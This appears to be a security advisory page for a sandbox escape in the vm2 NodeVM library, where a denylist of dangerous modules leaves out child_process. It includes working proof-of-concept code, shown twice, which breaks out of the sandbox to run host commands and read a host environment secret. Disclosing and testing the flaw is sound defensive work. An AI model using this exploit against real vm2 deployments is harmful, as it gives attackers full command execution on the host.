GHSA-PQ68-RVW4-XP4R
Vulnerability from github – Published: 2026-10-07 18:05 – Updated: 2026-10-07 18:05vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.
This fork hardens NodeVM with a DANGEROUS_BUILTINS denylist that blocks host‑code‑reaching core modules even when the sandbox requests builtin:['*'] or names them explicitly — the list contains module, worker_threads, cluster, vm, repl, inspector, process, trace_events, wasi, diagnostics_channel, async_hooks, perf_hooks, v8, os, dns, and test. It omits child_process — the single most direct command‑execution primitive. As a result, a sandbox running under require:{builtin:['*']} (or the fork's own documented ['*','-http','-net',…] subtract pattern) can require('child_process').execSync(...) and execute arbitrary commands on the host. The omission is internally inconsistent: cluster is denied with the explicit rationale "cluster.fork() spawns a host child process running attacker‑controlled code," yet child_process — which spawns host processes more directly — is not.
Details
lib/builtin.js:
- DANGEROUS_BUILTINS (lines 83‑179) — the Set of denied builtins. child_process does not appear anywhere in it.
- isDangerousBuiltin(key) (lines 185‑195) — strips node: prefixes and applies family‑prefix matching against DANGEROUS_BUILTINS. Returns false for child_process.
- BUILTIN_MODULES (lines 209‑210) — the source list that the '*' wildcard expands to — is builtinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s)). Because isDangerousBuiltin('child_process') is false, child_process remains in '*'.
- addDefaultBuiltin (the explicit‑name path) likewise rejects only isDangerousBuiltin names, so builtin:['child_process'] is admitted as well.
The module returned is the real host child_process (default require.context is "host"), so execSync/exec/spawn/fork run with full host authority. The denylist's own comment (lines 42‑44) states these primitives "must NEVER be reachable from the sandbox, even when the user requests '*' or explicitly names them" — the invariant child_process violates.
PoC
const { NodeVM } = require('vm2');
const r = new NodeVM({ require: { builtin: ['*'] } }).run(`
module.exports = require('child_process').execSync('id').toString();
`, 'plugin.js');
console.log(r); // -> "uid=1000(user) gid=1000(user) groups=..." host command execution
Verified results:
| config | require('child_process') |
|---|---|
| { builtin: ['*'] } | RCE — host id + host env read |
| { builtin: ['*', '-fs'] } (documented subtract pattern) | RCE — subtracting other modules does not remove it |
| { builtin: ['child_process'] } | RCE — explicit name admitted despite the "never, even if named" invariant |
| { builtin: ['fs'] } (control) | denied — Cannot find module 'child_process' |
Impact
Full host RCE — a complete NodeVM sandbox escape — for any deployment that runs untrusted code under require:{builtin:['*']} or the documented ['*', '-x', …] subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows child_process believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single require('child_process').
builtin-child_process-denylist-gap-rce.js
'use strict';
// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.
// The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins
// even under `builtin:['*']` or explicit naming — module, worker_threads,
// cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT
// child_process. So `require:{builtin:['*']}` (an allow-all config the fork
// explicitly hardens) yields direct host RCE. Attacker controls only the
// sandboxed script.
const path = require('path');
const { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));
process.env.HOST_ONLY_SECRET = 'CANARY123'; // host-only; sandbox process stub has env:{}
function tryConfig(label, opts) {
try {
const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => {
try {
const cp = require('child_process');
return {
reached: true,
id: cp.execSync('id').toString().trim(),
hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()
};
} catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }
})()`, 'plugin.js');
console.log(label, '=>', JSON.stringify(r));
return r;
} catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; }
}
console.log('--- child_process reachability by NodeVM require config ---');
const a = tryConfig("require:{builtin:['*']} ", { require: { builtin: ['*'] } });
const b = tryConfig("require:{builtin:['*','-fs']} ", { require: { builtin: ['*', '-fs'] } }); // documented subtract pattern
const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } }); // control: not allowed -> denied
const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123'
&& b && b.reached
&& c && c.reached === false;
console.log(ok
? "\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed"
: "\n>>> NOT confirmed");
process.exit(ok ? 42 : 1);
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.12.0"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-93605"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T18:05:00Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:[\u0027*\u0027] or explicit child_process allowance.\n\nThis fork hardens `NodeVM` with a `DANGEROUS_BUILTINS` denylist that blocks host\u2011code\u2011reaching core modules **even when the sandbox requests `builtin:[\u0027*\u0027]` or names them explicitly** \u2014 the list contains `module`, `worker_threads`, `cluster`, `vm`, `repl`, `inspector`, `process`, `trace_events`, `wasi`, `diagnostics_channel`, `async_hooks`, `perf_hooks`, `v8`, `os`, `dns`, and `test`. It **omits `child_process`** \u2014 the single most direct command\u2011execution primitive. As a result, a sandbox running under `require:{builtin:[\u0027*\u0027]}` (or the fork\u0027s own documented `[\u0027*\u0027,\u0027-http\u0027,\u0027-net\u0027,\u2026]` subtract pattern) can `require(\u0027child_process\u0027).execSync(...)` and execute arbitrary commands on the host. The omission is internally inconsistent: `cluster` is denied with the explicit rationale \"`cluster.fork()` spawns a host child process running attacker\u2011controlled code,\" yet `child_process` \u2014 which spawns host processes more directly \u2014 is not.\n\n### Details\n`lib/builtin.js`:\n- `DANGEROUS_BUILTINS` (lines **83\u2011179**) \u2014 the Set of denied builtins. `child_process` does not appear anywhere in it.\n- `isDangerousBuiltin(key)` (lines **185\u2011195**) \u2014 strips `node:` prefixes and applies family\u2011prefix matching against `DANGEROUS_BUILTINS`. Returns `false` for `child_process`.\n- `BUILTIN_MODULES` (lines **209\u2011210**) \u2014 the source list that the `\u0027*\u0027` wildcard expands to \u2014 is `builtinModules.filter(s =\u003e !s.startsWith(\u0027internal/\u0027) \u0026\u0026 !s.startsWith(\u0027_\u0027) \u0026\u0026 !isDangerousBuiltin(s))`. Because `isDangerousBuiltin(\u0027child_process\u0027)` is `false`, `child_process` **remains in `\u0027*\u0027`**.\n- `addDefaultBuiltin` (the explicit\u2011name path) likewise rejects only `isDangerousBuiltin` names, so `builtin:[\u0027child_process\u0027]` is admitted as well.\n\nThe module returned is the **real host `child_process`** (default `require.context` is `\"host\"`), so `execSync`/`exec`/`spawn`/`fork` run with full host authority. The denylist\u0027s own comment (lines 42\u201144) states these primitives \"must NEVER be reachable from the sandbox, even when the user requests `\u0027*\u0027` or explicitly names them\" \u2014 the invariant `child_process` violates.\n\n### PoC\n```js\nconst { NodeVM } = require(\u0027vm2\u0027);\n\nconst r = new NodeVM({ require: { builtin: [\u0027*\u0027] } }).run(`\n module.exports = require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString();\n`, \u0027plugin.js\u0027);\n\nconsole.log(r); // -\u003e \"uid=1000(user) gid=1000(user) groups=...\" host command execution\n```\nVerified results:\n| config | `require(\u0027child_process\u0027)` |\n|---|---|\n| `{ builtin: [\u0027*\u0027] }` | **RCE** \u2014 host `id` + host env read |\n| `{ builtin: [\u0027*\u0027, \u0027-fs\u0027] }` (documented subtract pattern) | **RCE** \u2014 subtracting other modules does not remove it |\n| `{ builtin: [\u0027child_process\u0027] }` | **RCE** \u2014 explicit name admitted despite the \"never, even if named\" invariant |\n| `{ builtin: [\u0027fs\u0027] }` (control) | denied \u2014 `Cannot find module \u0027child_process\u0027` |\n\n\n### Impact\nFull host RCE \u2014 a complete `NodeVM` sandbox escape \u2014 for any deployment that runs untrusted code under `require:{builtin:[\u0027*\u0027]}` or the documented `[\u0027*\u0027, \u0027-x\u0027, \u2026]` subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows `child_process` believing the denylist would reject it as it does the other host\u2011spawning builtins. The attacker controls only their sandboxed script; the exploit is a single `require(\u0027child_process\u0027)`.\n\n\n### builtin-child_process-denylist-gap-rce.js\n```js\n\u0027use strict\u0027;\n// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.\n// The fork\u0027s denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins\n// even under `builtin:[\u0027*\u0027]` or explicit naming \u2014 module, worker_threads,\n// cluster, vm, repl, inspector, process, os, dns, v8, test, ... \u2014 but NOT\n// child_process. So `require:{builtin:[\u0027*\u0027]}` (an allow-all config the fork\n// explicitly hardens) yields direct host RCE. Attacker controls only the\n// sandboxed script.\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(path.resolve(__dirname, \u0027..\u0027, \u0027src\u0027, \u0027vm2\u0027, \u0027lib\u0027, \u0027main.js\u0027));\n\nprocess.env.HOST_ONLY_SECRET = \u0027CANARY123\u0027; // host-only; sandbox process stub has env:{}\n\nfunction tryConfig(label, opts) {\n try {\n const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() =\u003e {\n try {\n const cp = require(\u0027child_process\u0027);\n return {\n reached: true,\n id: cp.execSync(\u0027id\u0027).toString().trim(),\n hostSecret: cp.execSync(\u0027printenv HOST_ONLY_SECRET\u0027).toString().trim()\n };\n } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }\n })()`, \u0027plugin.js\u0027);\n console.log(label, \u0027=\u003e\u0027, JSON.stringify(r));\n return r;\n } catch (e) { console.log(label, \u0027=\u003e THREW:\u0027, e.message.slice(0, 60)); return null; }\n}\n\nconsole.log(\u0027--- child_process reachability by NodeVM require config ---\u0027);\nconst a = tryConfig(\"require:{builtin:[\u0027*\u0027]} \", { require: { builtin: [\u0027*\u0027] } });\nconst b = tryConfig(\"require:{builtin:[\u0027*\u0027,\u0027-fs\u0027]} \", { require: { builtin: [\u0027*\u0027, \u0027-fs\u0027] } }); // documented subtract pattern\nconst c = tryConfig(\"require:{builtin:[\u0027fs\u0027]} (ctl) \", { require: { builtin: [\u0027fs\u0027] } }); // control: not allowed -\u003e denied\n\nconst ok = a \u0026\u0026 a.reached \u0026\u0026 /uid=/.test(a.id) \u0026\u0026 a.hostSecret === \u0027CANARY123\u0027\n \u0026\u0026 b \u0026\u0026 b.reached\n \u0026\u0026 c \u0026\u0026 c.reached === false;\nconsole.log(ok\n ? \"\\n\u003e\u003e\u003e CONFIRMED: builtin:[\u0027*\u0027] gives host RCE via child_process (denylist gap); control denies it when not allowed\"\n : \"\\n\u003e\u003e\u003e NOT confirmed\");\nprocess.exit(ok ? 42 : 1);\n```",
"id": "GHSA-pq68-rvw4-xp4r",
"modified": "2026-10-07T18:05:00Z",
"published": "2026-10-07T18:05:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-pq68-rvw4-xp4r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93605"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vm2-nodevm-before-3.12.1-remote-code-execution-via-child-process"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 contains a sandbox escape vulnerability"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.